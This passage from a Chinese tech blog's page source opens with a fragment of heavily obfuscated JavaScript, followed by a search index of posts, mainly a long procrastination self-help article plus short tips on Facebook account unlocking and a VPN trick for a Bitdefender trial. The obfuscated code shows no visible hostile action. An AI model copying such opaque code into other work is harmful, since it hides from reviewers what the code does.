D[JB('jNFK',0x1f9,0x14f,0x177,0x16c)](G,e);},'dLHoI':function(G,e){function JT(D,a,x,U,M){return m(a-0x1b,x);}return D[JT(0x351,0x2e2,']rLV',0x335,0x2b1)](G,e);},'pwQlZ':D[JA(0x150,0x1df,0x196,0xce,'B!Ps')],'wuyDF':D[JA(0x1e6,0x1dc,0x1d8,0x184,'eRgS')]};function Jm(D,a,x,U,M){return J9(U,a-0x112,a-0x122,U-0x14a,M-0xc5);}if(D[JD('eRgS',0x595,0x549,0x5f6,0x58b)](D[Ja(0x566,0x58d,0x604,'B!Ps',0x58f)],D[Ja(0x5f7,0x61e,0x65c,'j)HJ',0x5ee)]))x=Q[Ja(0x671,0x617,0x5ff,'xFkR',0x58b)](U,Q[Jm(-0x8f,-0x32,-0x1e,'14)9',0x2a)](Q[JD('j)HJ',0x5bb,0x627,0x596,0x5c2)](Q[Jm(0x1c,0x30,0x75,'W1CO',-0x53)],Q[Jm(0x6a,0x45,0x9c,'eRgS',0x19)]),');'))();else{if(U){if(D[Ja(0x5fb,0x62a,0x61f,'1tI3',0x60d)](D[JA(0x137,0x1ae,0x16f,0xe2,'qI^J')],D[Jm(0xed,0x6a,0xe6,'qYxU',0xe7)])){const e=U[JD('j)HJ',0x5f7,0x645,0x60d,0x60e)](x,arguments);return U=null,e;}else{const g=U[Ja(0x640,0x5fb,0x5ed,'Blqa',0x640)](M,arguments);return F=null,g;}}}}:function(){};return a=![],F;}else F+=Q[JU('4bWF',0x324,0x2cb,0x345,0x3ad)+'t'](G[JM(0x297,0x31c,'j)HJ',0x2d4,0x2fb)](M[JM(0x2e5,0x262,'RV(D',0x2c8,0x25e)](e[J8('*8$)',0x21d,0x225,0x21e,0x1ed)+'m'](),S[JJ('iL)6',0x46a,0x3c3,0x454,0x3dc)+'h'])));};}()),B=T(this,function(){const a={};function JG(D,a,x,U,M){return m(x-0x1aa,D);}a[JF(0x644,'W1CO',0x5a5,0x5fe,0x5f4)]=JF(0x616,'szCs',0x5a6,0x5d3,0x56a)+JQ(-0x1dd,-0x155,'j)HJ',-0x1a1,-0x22b)+'+$';function JS(D,a,x,U,M){return m(x- -0x10f,M);}function JQ(D,a,x,U,M){return m(U- -0x3c9,x);}const x=a;function JF(D,a,x,U,M){return m(U-0x3d4,a);}function Je(D,a,x,U,M){return m(U-0x3d1,D);}return B[JQ(-0xe3,-0x142,'XAlH',-0x112,-0x154)+Je('iL)6',0x5e9,0x5ef,0x5b5,0x58c)]()[JF(0x639,'ylM)',0x576,0x5ef,0x628)+'h'](x[JG('11k@',0x309,0x359,0x31d,0x2e9)])[JS(0x16f,0xe9,0xf3,0x123,'v%pJ')+JF(0x687,'oTB8',0x6ee,0x678,0x6a4)]()[JQ(-0x194,-0x1d9,'szCs',-0x171,-0x10b)+JS(0xf2,0x19b,0x133,0x1b9,'qI^J')+'r'](B)[JG('Z[fX',0x3bf,0x396,0x343,0x312)+'h'](x[Je('shI5',0x60f,0x64e,0x5f1,0x64c)]);});function m(J,O){const B=A();return m=function(T,D){T=T-(0x3*-0xc31+0xd8a+0x10*0x18b);let a=B[T];if(m['nzkCCu']===undefined){var x=function(G){const e='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let S='',g='',t=S+x;for(let Y=0x183d+-0xb7a+-0x9*0x16b,X,I,l=0x2510+0x2614+-0x4b24;I=G['charAt'](l++);~I&&(X=Y%(0xf31+-0x85a*-0x1+-0x1787*0x1)?X*(0x78a+0x655*0x1+0xd9f*-0x1)+I:I,Y++%(0x6b*-0x35+-0x172a+0x2d55))?S+=t['charCodeAt'](l+(0x1a3*-0x14+0x127+0x1f9f*0x1))-(0x34*-0xa2+0x3b7*-0x9+0x4261)!==0x3*-0xb1b+0x1*0x1aba+0x697?String['fromCharCode'](-0x39b+-0x2*-0x52c+0x3*-0x1ea&X>>(-(-0x1*-0xba1+0x1*-0x1333+0x794)*Y&0x1c28+0x16ba+-0x32dc)):Y:-0x1543+-0x1511+-0x3*-0xe1c){I=e['indexOf'](I);}for(let v=-0x18d1*0x1+0x102f+0x8a2,R=S['length'];v","tags":[{"name":"Facebook","slug":"facebook","used":true,"link":"https://dev-coco.github.io/tag/facebook/"}],"title":"Facebook 账号解封","feature":"https://dev-coco.github.io/post-images/Facebook-Account-Unlock.png","link":"https://dev-coco.github.io/post/Facebook-Account-Unlock/","stats":{"text":"11 min read","time":630000,"words":1896,"minutes":11},"date":"2023-06-04 09:34:32","dateFormat":"2023-06-04"},{"content":"Bitdefender 是一款由罗马尼亚的 Softwin 软件公司开发的杀毒软件。 先安装 Windscribe 插件。 然后选择 Germany,开启代理。 180 天免费体验:活动链接 打开活动链接,使用没有注册过的邮箱注册,注册后就会自动激活 180 天使用权。 ","tags":[{"index":-1,"name":"安全","slug":"security","used":true,"link":"https://dev-coco.github.io/tag/security/"},{"name":"软件","slug":"software","used":true,"link":"https://dev-coco.github.io/tag/software/"}],"title":"免费领取 Bitdefender 180 天","feature":"https://dev-coco.github.io/post-images/Bitdefender-Free-Trial.png","link":"https://dev-coco.github.io/post/Bitdefender-180-Free-Trial/","stats":{"text":"1 min read","time":16000,"words":79,"minutes":1},"date":"2023-05-31 10:53:50","dateFormat":"2023-05-31"},{"content":"拖延症困扰着许多人,而提高效率成为我们追求的目标。让我们一起探索如何解决拖延症,提升工作和生活的效率! .procrasTest, .ZTPITest, .MEQScore { width: 70px; } #procrasTest, #MEQ, #ZTPITest { width: 550px; } #procrasTest tr td:first-child, #MEQ tr td:first-child, #ZTPITest tr td:first-child { width: 65px; text-align: center; } 了解拖延症 拖延症的原因 所谓“拖延症”,不仅指经常拖着不去做某事,更是指这种行为带来的长期困扰。 心理学家 Jane B. Burka 和 Lenora M. Yuen 提出了一个理论——「拖延症怪圈」,认为拖延行为不仅涉及心理学问题,还涉及到人的行为、情绪管理和所处环境。但是不管背后原因多么复杂,拖延行为呈现出来的过程具有几个关键点。 当你准备开始一个新的事情时,你会想「这次我要早点开始」。 早点开始的时间已经过去,你会感到有点焦虑,「我得马上开始」。 时间又过去了,你仍未开始完成手中的事情,一种不祥的预感开始浮现,于是你想逃避。这时你很容易陷入自责,为什么一开始要浪费时间的思维中,开始做其它的事,而不是应该去做的事,你会开始想「不开始又有何妨呢?」。 随着时间的流逝,你感到压力越来越大,但还是会心存侥幸,自我安慰「我还有时间」。 你终于绝望了,告诉自己「我有问题」、「下次再也不拖延了」,但下次再开始的时候,又会进入同样的循环。 看到这里你可能会感觉到有些苦恼,好像很难摆脱拖延症,但实际上,每个关键点都是陷入拖延的机会,同时也是摆脱拖延的机会。 不完美开始 「不完美开始」的意思是不要期望一开始就能做得完美无缺,不要想太多,只要开始做就是成功。有时候,陷入拖延的原因之一就是因为把开始工作想得太难了。例如,接到一个开发需求,认为必须一次性交付完美的成果。我们可能会花费大量时间在调整代码结构、框架、标题、布局、字体等细节上,反复修改,其实这时已经在打退堂鼓,不想进行了。 「不完美开始」的原则是要让你放下完美主义,先从一个小的起点开始。比如,如果你面临一个写代码的任务,可以从写出最基础的几行代码开始。这样会让你感觉更容易,对于完美主义者来说,写一小段代码和写一个完整的程序相比,更容易接受。而且,开始的时候不要考虑最终的结果,只是把自己的思路表达出来,然后发布一个 demo,再根据用户反馈不断改进发布 2.0、3.0 版本。 不完美开始让我们能够跳出「拖延症怪圈」,先迈出第一步,只要开始了,就有机会逐步改进和完善。 认识拖延症 你有拖延症吗 让我们看看三个例子: 例子一:你有一个同事小明,他在工作中从来不拖延,甚至经常提前完成任务,因为他有很强的行动力和表现欲。但是,私下里他也有很严重的拖延行为,比如一些琐碎的工作或者不是他擅长的工作,他就总是推迟或者忽略。 例子二:你有一个同事小红,她总是在工作中刻意利用拖延策略。如果期限是 7 天,她会用前面几天放松休息,而在最后一两天内,爆发出超强的效率和创造力,完成所有任务。她知道自己在前面的时间里拖延了,但她相信自己在截止日期前能够顺利完成任务。 例子三:你有一个同事小军,他工作压力大,身体也不好,所以想要健身。但是每天早上觉得时间不够用,晚上又觉得刚吃完饭不适合运动。周末没有加班也没有其他事情打扰,但他又觉得空气不好、天气太冷等等原因,就总是不去健身。半年过去了,他还是没有开始健身,身体状态变得更差了,这让他非常担心,但他还是没有开始进行。 我们需要知道,并不是所有拖着不做的事情都属于拖延症,拖延症更多的是指那种让你感到痛苦和焦虑的拖着不做某件事情的状态,而且很难走出来,一直循环。 例子一的小明,拖着不做并不会对他造成太大的影响,也不会感到焦虑;例子二的小红拖延到期限的时候可以激发创造力和潜能,并且顺利完成任务,所有基于这两种情况并不属于拖延症。但是例子三的小军觉得健身很重要,但是因着各种各样的原因没办法执行,感到十分焦虑而且一直循环,这种就属于拖延症。 以下 4 点判断是否存在拖延症 你是否有一直想做但是一直没有开始的事情,如果不去做会给自己带来严重的后果? 这种处于焦虑状态但是又没有行动的状态是否让你感到痛苦? 你是否明确知道需要去做的事情的重要性,但是却仍然一遍又一遍的拖延? 你的拖延是否导致了你与身边人的关系紧张,并给你在意的人带来了困扰? 如果你属于这 4 点的其中一项,那么就需要好好的调整了。 改变动力的公式 改变的动力 =(期望 * 价值感)/(冲动 * 推迟) 这个公式是由 Piers Steel 提出的,总结出导致拖延的四个最直接的原因:期望、价值感、冲动和推迟。下面会逐一解释这些原因。 先来看公式的前半部分:期望 * 价值感 如果你对某项任务抱有更高的期望,并且认为这项任务有更高的价值感,那么你就会有更强的动力去完成它,从而避免拖延。 你是否选择去做某项任务取决于你是否认同该任务有价值,并且能够从该任务中获得多少快乐,也就是公式中的「价值感」。其次,还取决于你对自己能否完成该任务的程度的判断,对环境和未来的掌控感,以及你设定的任务目标和你的能力、环境是否相匹配也就是公式中的「期望」。 举个例子,比如说,有一个开发需求需要我来完成,但是我对这个需求不是很感兴趣,我认为可能无法很好地完成它,而且可能会碰到很多问题。这个需求对我来说,价值感和期望都很低,所以我可能会拖延或者不想去完成。 相反,如果有一个开发需求,需要我编写一个很有趣的游戏,这个需求对我来说具有很高的价值感,而且我相信自己能够很好地完成它,那么我就会有更高的动力去完成这个需求,从而避免拖延。 再来看公式的后半部分:冲动 * 推迟 在这里,我们将“冲动”定义为分散注意力、因为各种诱惑而难以保持专注、高效完成任务的倾向。很多人需要顽强的意志力来约束自己。但实际上,通过一定的满足来降低你对诱惑的欲望,是一个更好的方法。举个例子,在晚饭过后,看到一个非常不错的饭店,你不会急着进去,而是会默默地记下地址,如果下次有机会再去尝试。 另一个因素是「推迟」,它一方面与时间管理有关,另一方面指的是一个长远的、宏大的计划。在看到眼前的好处时,会更倾向于推迟这个长远的计划。 举个例子,假如我已经习惯了现有的框架进行开发,但是另外一个框架可能更适合我的项目,但是我需要去学习新的文档和语法。如果这个新框架的功能非常优秀,能够显著提高你项目的性能或者使得代码更易于维护,那么我可能会愿意去学习和使用它。 但如果这个新的框架与我已经熟悉的框架相比并没有明显的优势,那么会舍弃学习新的框架,继续使用现有的技术,因为这样能节省我额外再学习新东西的时间。 所以,当我们对某件事的期望和价值感越高,越不容易冲动和推迟,就越有可能开始行动。反之,当我们对某件事的期望和价值感较低,冲动却很强且容易推迟,我们就更容易陷入拖延的泥沼。 我为您准备了一项测试,你可以尝试完成它,以了解你在期望、时间和价值感方面的相对薄弱之处,接下来就可以针对薄弱处针对性提升。 拖延测试 填写说明:请认真阅读每道题目,按照描达与自己的符合程度打分。(1=我不会或极少这样,2=我很少这样,3=我有时这样,4=我经常这样,5=我总是或就是这样) 序号 问题 分数 1 我能投入大量时间做事 2 我不愿意理解工作任务 3 在我开始之前,我会先做点儿能让我暂时轻松的事,但随后事情就变得一团糟了 4 当我很投入时,就能有所成效 5 我希望我的工作很有趣 6 我会做些一开始看上去很有意思的新任务,但我不会想它接下来会如何 7 只要我足够努力,就可以获得成功 8 我的工作似乎毫无意义 9 当有一个诱惑摆在眼前,我的渴望就会变得很強烈 10 我相信我的努力会有回报 11 我觉得工作很无聊 12 我的行动和言语能让我暂时愉悦,但对长期目标不利 13 我做事能坚持到底,并且懂得变通 14 我对持续尽职尽责缺乏热情 15 面对一个有吸引力的诱惑,我很容易转移注意力 16 不管眼下有什么问题,我都会在最终搞定 17 当我觉得一项任务很乏味,我会不断发现自己正在快乐地做白目梦,而没有集中注意力在这件事上 18 当有机会享受的时候,我很难享受 19 我可以通过必要的努力克服困难 20 我不觉得我的工作很有意思 21 我宁愿选择小一点儿但可以立即得到的快乐,也不愿选择大一点但是要等一会儿才能得到的快乐 22 胜利在我的掌控之中 23 如果一件事情很无聊,我的脑子会滑到别的事情上去 24 要推迟满足,我需要花很多力气 总分 分数 期望 价值 时间 主动掌控工作 调整价值感 如果对某件事情的价值感很低,那么大概率会导致进度拖延。 例如有一堆的邮件需要回复,但是并不想看;需要准备月度报表了,但是并不想开始去做;有个开发计划,已经选好了需要用到的框架以及相关的方案,但是并不想开始。 其实,这些拖延行为并不一定是因为担心事情的成功或失败。实际上,背后往往是我们不认同这项事情的价值。如果我们偏偏不得不做,就会通过拖延的行为来对抗。 越认同,越不拖延 当你对工作和任务的价值感越高时,就越不容易拖延。这是因为大脑存在一种奖赏效应,它会使你更喜欢并优先处理那些让你感到有价值的事情,而对于那些看起来没有直接关联或者不那么重要的事情则缺乏兴趣。 当任务的价值感越高,就越容易激发奖赏效应。这也解释了为什么我们更容易拖延那些看起来对我们不那么重要或没有直接关联的事情,而对于那些与我们的目标和利益相关的事情则更不容易拖延。 当一项任务的价值感越高时,就越有可能激发奖赏效应。因此,如果你越认同自己的工作和任务,就更容易对这个事情产生兴趣和动力,并且更愿意去处理它。相反,对于那些看起来没有直接关联或者不那么重要的事情,我们的大脑可能会对其产生较低的兴趣和动力,从而容易导致拖延行为的出现。 相反,如果你对某项任务本身并不认同,但又不得不加班加点完成时,更容易失去控制地拿起手机刷推特或抖音,这是因为你对这项任务的价值感较低,觉得付出的努力得不到相应的回报。 这也说明了为什么在自己认同的事情上更容易保持专注和高效,而在不喜欢的任务上容易分散注意力和失去动力。当需要处理这些不那么感兴趣的任务时,我们容易受到手机、社交媒体等干扰的诱惑,因为它们提供了一种可以让我们获得即时满足感的途径,进一步加剧了我们的拖延行为。 获得控制感 James C. Scott 做过一项研究,很多人都有拖延的习惯,即使知道某些任务很重要,也不愿意去做。实际上,拖延的背后往往有一种想要掌控自己行动的意愿。 研究对象是马来西亚的农民。这些农民经常被当地的资本家剥削,他们每天辛苦劳作,却只能得到微薄的报酬。从表面上看,这个地区似乎一直保持着这种状态,一切都看起来正常。 然而,James C. Scott 发现,这些农民在外表看起来在工作,实际上有着一套应对压迫的方式。例如,他们会故意偷懒、装作糊涂、偷偷离开工作岗位或者故意破坏劳动工具。他们会尽可能地避免不必要的工作,将必须完成的任务推迟,找各种理由拖延。社会学家将这种对抗策略称为「弱者的武器」。 这种对抗背后的含义是:虽然我必须完成任务,但我是一个拥有自主权的个体,我可以根据自己的选择行动,没有必要按照他人的规定来工作。 然而,拖延并不能改变现状,它只能带来虚假的控制感。虽然表面上你好像是在掌握自己的行动,但是最终你还是必须完成任务。此外,拖延的情绪会让你更被动,可能导致你耽误解决问题的时间。因此,拖延从来不会坑别人,只会坑自己。 首先,针对拖延症,如果你觉得某项事情没有价值,你需要进行一次「价值评估」。重新审视你面对的工作和事情的价值,不要抱怨或对抗,而是放下情绪,思考这件事情的价值。 对于程序员而言,我们也可能会遇到一些看起来无聊或者繁琐的任务,比如修复一些无趣的 BUG、编写冗长的文档、或者重构一个代码库等。这时候,我们也需要重新评估这项任务的价值,并且给自己正向的激励。 例如,你可能需要修复一些看起来毫无意义的 BUG。但是,如果你认真思考这个 BUG 背后的影响,你就能够发现它的价值所在。这个 BUG 可能会导致软件崩溃,影响用户的体验,而修复这个 BUG 就能够提高软件的稳定性和可靠性,让用户得到更好的体验。这样,你就能够为这件事情赋予更多的价值,从而更加有动力地去完成任务。 另外,也可以给自己设定具体的目标和激励也是一个有效的方法。比如,你可以给自己设定一个具体的完成时间和目标,例如「在今天晚上完成这个任务,然后可以玩一个小时电脑游戏」。这样,你就能够更加积极地去完成任务,同时也能够得到一些奖励和放松的时间,让自己更加愉悦和有动力。 快速进入状态 分心拖延 比如,项目经理分配给你一个重要的任务,需要在规定的时间内完成。你开始认真地处理这个事情,但是很快你发现自己被其他的事情打断了:有同事来问问题,有邮件需要回复,或者突然想起了之前没完成的任务,等等。这些打断你的事情看上去都很紧急,但实际上很可能是你想分心,逃避这个让你感到焦虑和痛苦的事情。 这种现象称之为「分心拖延」,这种现象是人们喜欢用做「其他事情」来替代做主要的事情。因为主要的事情更难,所以我们想用其他更简单的事情来逃避眼前的任务。然而,这种行为只会让我们进入一个恶性循环:拖延会导致我们更加焦虑,更难集中精力,也更容易分心,进而导致拖延更加严重。 因此,解决分心拖延的关键是要学会专注和集中精力,不让自己被琐碎的事情打断。这需要我们意识到自己分心的行为,并努力控制自己的注意力,避免被其他事情分散精力。同时,也需要我们理解和接受任务带来的不适和压力,不再用分心和拖延来逃避这些痛苦。 建立仪式感,进入状态 你或许注意到了,很多人在开始工作之前都会准备自己喜欢的工具和环境,比如程序员可能会选择使用一款顺手的编辑器和一个高清晰度的显示器,设计师可能会喜欢使用一个触感好的绘图板和一款高级的设计软件。这些工具和环境可以为你创造一个进入工作状态的氛围和仪式感,它们向你传达了一个重要的信息,即你已经准备好开始工作了。 这种自我暗示对于激发你的注意力和投入度非常重要。事实上,人类行为的大部分都是无意识或下意识的反应,而这种有意识的暗示可以让你更好地调动无意识的注意力资源,从而让你更容易地进入高度集中思考、反应和执行的工作状态。 另一个重要的原因是,使用你喜欢的工具和环境可以让你的边缘系统更容易接受这种变化,从而更容易地进入工作状态。除了前面提到的工具和设备之外,你还可以选择自己喜欢的工作环境,比如去自己喜欢的咖啡厅,平时在办公桌上放置一些喜欢的绿植,或是在开始工作前泡一杯自己喜欢的花茶,这些都可以成为让你进入工作状态的触发点。 如果你要做的事情特别枯燥、繁琐或者让你不想做,那么你可以尝试听一些适合自己口味的音乐来辅助完成工作。 不过,心理学家和脑科学家的观点类似,要想通过听音乐提升工作效率,需要注意以下几点: 如果你正在进行重复性的简单任务,那么听节奏欢快的音乐可以帮助提高效率。 对于需要集中精力但缺乏趣味的工作,如工厂里的工人或质检员,随着时间的推移,他们的注意力会逐渐降低。此时,听快节奏的音乐可以提高他们的工作效率和准确性。 如果你正在进行有创造力的任务,你可以在任务开始前或者休息时听音乐。 这是因为音乐能改善我们的情绪,激发创造的动力。但是,在进入思考状态时,你可能需要将音乐关掉,以免对思考造成干扰。另外,快节奏的音乐比慢节奏和悲伤的音乐更适合创造力任务。 尽量听没有歌词的音乐,或者是你不熟悉的语言的音乐。 常见的流行音乐,特别是那些让你跟着唱的,会使大脑处于多任务模式,影响阅读和信息处理能力,反而容易会消耗额外的精力去思考歌词内容。如果你选择听音乐,最好选择没有歌词或你不熟悉语言的音乐。 尽量把音量调低,选择单曲循环。 大声的音乐容易使人激动,而安静的音乐可以使人更加平静。此外,单曲循环能减少音乐切换对注意力的干扰。 抓紧时间,摆脱推迟 截止日期引发的拖延 在许多场合中,拖延症往往源于时间上的推迟,这种现象非常普遍。例如,当老师在学布置暑假作业时,许多学生并不会立即开始着手开始,而是会将作业拖到快开学的时候才开始,甚至最后一天才开始着手处理,这是最典型的推迟性拖延。 实际上,在我们的生活和工作中,处处都有推迟性拖延的情况。比如,你想要给家人购买商业保险,以防万一,但由于没有具体的期限,你可能会一拖再拖,直到某天不幸发生了什么才会后悔不已。又比如,公司的一个项目需要在月底前上线,任务很重要,需要大量的准备。但是,当你面临一个抉择,要么加班赶进度,要么与多年未见的好友出去玩,许多人会选择放弃工作,选择享受生活。但是,如果这个选择被推迟到上线前的一周,那么他们就会更倾向于优先处理工作,而不是娱乐。 显然,不同的时间节点对于拖延的影响不同。时间上的推迟往往会导致我们将应该完成的事情推迟到更远的将来,并且事情的截止日期越往后推迟,我们完成事情的动力就越弱,越容易陷入拖延的漩涡。 未来折扣 「未来折扣」是一种行为经济学中的概念,它揭示了未来的收益随时间的增加而被打折扣。这意味着,如果任务的截止日期在未来很远的时间,我们很容易低估任务的重要性,更倾向于去处理当前紧急的事情。这种现象也被用来解释「推迟」性拖延的原因。 举个例子来解释未来折扣,假设你买彩票中奖了,金额是 10000 元,你可现在可以选择直接打到银行卡上,或者拿到一张支票,但要等一年才能兑现。如果支票的金额仍然是 10000 元,你会更倾向直接拿到钱,因为你会觉得这张支票不值得等待。 计划谬误 另一个原因是「计划谬误」,即我们往往低估完成任务所需时间的倾向。这意味着我们倾向于过于乐观地估计自己可以在限定的时间内完成任务,而忽略了任务实际需要的时间。这会导致我们对时间的感觉产生误解,觉得未来会有更多的时间可以利用,因此不急于开始完成任务。 因此,即使任务看起来很重要,当它的截止日期还很遥远时,我们很容易产生推迟的倾向,认为可以在未来的某个时间开始处理。然而,这其实是一种错觉,因为时间流逝很快,而任务的完成需要时间和努力。因此,要避免拖延,我们需要认真评估任务的重要性,并合理规划时间,不要低估任务所需的时间。 摆脱推迟 当面临“推迟”造成的拖延时,可以采用以下两个方法:(1) 设定更紧迫的截止日期;(2)练习时间感知和预估能力。 首先,为了避免因期限太远而拖延,可以在原有的期限上再设置更早的截止日期。例如,经理要求下周二提交项目预算,那么在本周三之前先提交初稿,并在本周内完成反馈和修改。 其次,需要练习时间感知和预估能力。我们建议你记录一周内的时间使用情况,以及完成每个任务所需的时间。可以从两个方面入手:(1) 重新认识你未来的时间精力;(2) 了解你工作中主要任务需要的耗时。这样,即使面对遥远的期限,也能做好合理的安排。 通过以上方法,你能更好地克服推迟带来的拖延问题。同时,我们也要明确,我们常常因担心时间不够而拖延,但事实上,我们的时间分配并不会随着时间的推移而变化,我们需要更加合理地分配时间,提高效率。 找到平衡点 四个阶段改变习惯 James Prochaska 将改变习惯的过程分成四个阶段: 前关注:在这个阶段,你还没有想要改变。 关注:你意识到问题的存在,并思考采取行动作出改变,但内心可能会有纠结或者激烈的争执。 准备:在这个阶段,你尝试了一些行动,但并没有完全投入,愿意试试看。 行动:这个阶段意味着真正开始采取行动。 如果你对拖延症只有模糊的概念,那么你处于前关注阶段;如果你已经意识到自己需要改变,那么你已经进入了关注阶段。 需要注意的是,准备阶段并不代表没有行动。事实上,准备阶段的行动更为重要,因为只有通过这个阶段,你才能下定决心改变。同时,这个阶段也是你最容易反复的时候,需要不断尝试、受挫、最终坚定地去行动。 如果你曾经经历过一些失败的改变,比如早睡、不发脾气、养成健身习惯等,那么你的放弃通常都发生在准备阶段。 黄金平衡点 当提到「计划」这个词时,你是否不禁叹了口气?我知道很多人制定的计划,不管是备考学习还是锻炼健身,从未成功执行过,因此索性不再制定计划。 那么,为什么那些计划没有完成呢?如何制定一个能够帮助你摆脱「拖延症」的计划呢? 这张折线图的横轴有两个要素:一个是「任务难度」,从容易到困难;另一个是完成任务的「乐观程度」,任务越简单,对任务的完成就越乐观。 纵轴表示完成任务的积极性。当任务特别简单时,纵轴上的积极性很低。随着任务难度的增加,积极性逐渐提高,但在达到某个最高点后开始下降。 这是因为任务太容易会变得乏味,甚至机械重复,没有人想做这样的任务。因此,最初的任务最简单,做事的积极性最低。随着任务难度的增加,做事的积极性开始上升,达到最高点时,我们有最大的动力去完成任务。然而,积极性不会一直上升,当任务难度超过你能接受的范围时,你会觉得任务太难,不可能完成,或者时间太紧迫,无法实现,这时做事的积极性会急剧下降,直至为零。 说到这里,你可能已经意识到,不好的计划,也就是容易导致拖延的计划,出现在你失去做事积极性的两种情况下: 一种是低估自己的能力,计划没有挑战性,自然就没有兴趣; 另一种是高估自己,要么给自己的任务太难,要么像「龟兔赛跑」中的兔子一样,因为觉得胜券在握,而迟迟不采取行动,结果直到截止日期临近,才突然发现完成任务的难度和所需时间远远超出想象,于是只能在极度恐慌和焦虑中匆忙应付。 而好的计划应该将任务难度控制在合适的范围内,就是通过过去的经验让你相信自己可以完成任务,但同时你也需要付出很多努力,而且成功的奖励近在咫尺。在这种情况下,你会感到如沐春风,毫不犹豫地向前迈进。 只有这样,执行任务的积极性和乐观程度才能达到平衡,达到图中的最高点,也就是我们所说的黄金平衡点。 下面提供了一个表格,仅供参考,用来调整计划的事情和行动起来的积极性,找到平衡点。 记录拖延行为 今天我们将介绍一个非常实用的技巧,即如何记录你的拖延行为。在接下来的训练营中,你将需要每天记录下自己的行为,以帮助你识别和纠正自己的拖延行为。 你可能会发现,有时你会因为在开始做一件事情之前去做一些琐碎的事情而拖延,比如查看工作邮件,结果打开手机就开始刷朋友圈,这样会耽误你完成事情的时间。因此,记录自己的行为非常重要,因为这样可以帮助你意识到自己都做了哪些事情,哪些是有必要的,哪些是没必要的。在记录自己的行为时,你需要注意以下三个方面: 第一,要分清哪些是拖延行为,哪些是正常休息。正常休息可以让你更好地工作,但如果是拖延行为,你需要将其记录下来。最简单的方法是看你做这件事是否对你的工作状态进行必要的调整,以及这件事是否与你的工作任务直接相关或必要。 第二,要记住你的拖延征兆,一旦出现苗头就要及时制止。心理学研究表明,有一些人在拖延时会出现生理反应,这是一种常见的拖延征兆。如果你知道自己的拖延征兆,就可以更容易地发现自己正在拖延,并采取措施制止它。 第三,要记录你的拖延借口,不要害怕揭穿自己。你需要识别你的借口,并试图克服它们。例如,你可能会觉得自己需要先泡杯茶才能开始工作,或者需要先和朋友聊聊天才能开始工作。这些都是拖延的借口,你需要记录下来,并设法克服它们。 为了将这些拖延行为真正从你的生活中剔除,你可以在手边备个本子,或者使用手机上的备忘录,将自己在做正事之前所做的所有事情一一记录下来。通过记录和分析自己的行为,你可以逐步克服拖延,变得更加高效和自律。 SMART 任务管理 任务管理 很多人因为任务管理问题而拖延、效率低下,容易半途而废。下面我会通过两个例子来说明如何进行任务管理。 第一个例子,一个同事发誓要重构整个项目,说:“不重构完代码不休息!”一般情况下,你很难看到他真的开始重构。他觉得程序的代码质量不够好,决定要换一种编程语言重构,因为听说代码质量差会导致项目崩溃。但是他坚持了多久呢?他给自己两个月的时间,拖了两天,开始了四天的重构工作,然后犒劳一下辛苦工作的自己休息了一天,接着就进入了漫长的调试期、拖延期,然后再开始,直到最后放弃。 第二个例子,我的朋友燕子是一个幼教课的课程销售,是个新手。公司针对双十一推出课程的优惠活动,她的目标是在一周内拉新 100 人。她提前一个月就开始准备,但是越准备越发现这件事难,她开始还积极地想了一些办法,后来干脆就放弃了。于是在老板看来,燕子这一个月的工作是停滞不前的,等到拉新那周的到来,最后报名的新客户只有3人。 这两个例子有三个共同特点: 任务目标过于困难,对于当事人几乎不可执行。无论是两个月瘦三十斤,还是让一个销售新手一周拉新100人; 执行过程中,整个任务安排和进度管理是失控的,最后只能任其发展。自然是拖延、低效、没结果; 如果当事人希望下次能够成功的话,需要一次有针对性的复盘。 那如何进行任务管理才能不拖延、不放弃,最终能完成好呢?通过刚才对上面失败例子的拆解,我们可以看到,完整的任务管理流程可以分为三个部分:计划、执行和复盘反馈。也就是说,完成任务是一个整体的过程。 一个好的任务管理需要进行计划、执行和复盘反馈三个步骤。在计划阶段,需要对目标和任务进行拆解和规划,制定可行的执行方案;在执行阶段,需要对进度和时间进行把控,确保任务的执行进度可控;最后在复盘反馈阶段,需要对任务的每一个结点进行验收评估,及时纠偏并制定执行标准,确保任务完成的质量符合要求。 拆解任务、做计划 SMART 原则是一个重要的任务管理工具,它可以帮助我们拆解任务目标、做计划。使用 SMART 原则,我们可以将任务目标具体化、可衡量、可操作、相关和有时间限制。这个方法源自于美国马里兰大学管理及心理学教授洛克,S-M-A-R-T分别代表五个英文单词的首字母。下面我将对每个字母进行详细解释。 Specific(具体的):在任务管理的第一步中,我们需要拆解任务目标、制定计划。在这个过程中,我们必须确保拆分出来的小目标是具体的,避免出现模糊的情况。例如,如果我们的任务目标是“两个月瘦30斤”,我们需要将其分解为每个阶段要减多少斤、如何分配时间等具体的小目标。 Measurable(可衡量的):可衡量的目标是指可以用确切数字来衡量的标准,这样就可以避免标准上的争议。对于“两个月瘦30斤”这个任务,我们需要将其细化为“每天跑步20分钟”、“不吃高热量食物,每周有一天例外”等可衡量的小目标。 Attainable(可操作的):可操作的目标是指能够在实际操作中实现的目标,需要考虑自身的条件和实际情况。如果我们的目标过于理想化,而无法在实际操作中实现,这个目标就是不可操作的。因此,在制定计划时,我们需要确保目标是可操作的,以便在实际操作中实现。 Relevant(相关的):相关的目标是指与我们的最终目标相关的目标。例如,如果我们的最终目标是健康减肥,那么我们的小目标就应该包括饮食、运动、睡眠等方面,而不仅仅是单纯的减肥。这样可以确保我们的小目标与最终目标是相互关联的,达到整体提升的效果。 Time-bound(有时间限制的):有时间限制的目标是指在一定时间内完成的目标,这可以帮助我们避免无限拖延。在制定计划时,我们需要确保每个小目标都有明确的时间期限,以便我们可以及时跟进并达成目标。 使用 SMART 原则来拆解任务、做计划,可以帮助你制定出具体、可衡量、可操作、相关、有时间期限的小目标,这样你可以更容易地实现大目标。同时,在任务执行的过程中,你可以用这些标准来评估自己的进展,以便及时调整你的计划,保证最终的目标能够顺利达成。 举个例子 SMART 原则拆分任务,帮助我优化程序代码 我之前的写的程序代码中存在一些性能问题,需要进行优化。我的目标是在两周内提高程序 30% 的运行速度。根据 SMART 原则,我将任务拆分成几个具体的子任务,以便更好地执行。 首先,我需要分析现有的代码,找到不必要的、重复的和冗余的部分。这是一个明确的任务,可以进行具体的度量和评估,也是整个优化过程的核心。 其次,我需要学习新的编程技巧和工具,以提高效率和代码质量。这可以通过阅读文档、查看教程、参加培训等方式来实现。 还需要进行代码重构,将不必要的代码删除或优化,使代码更简洁、易于维护和阅读。 最后,我需要在每个阶段设定具体的目标和时间表,并进行跟踪和反馈。这有助于确保整个优化过程按计划进行,及时发现和解决问题。 在 SMART 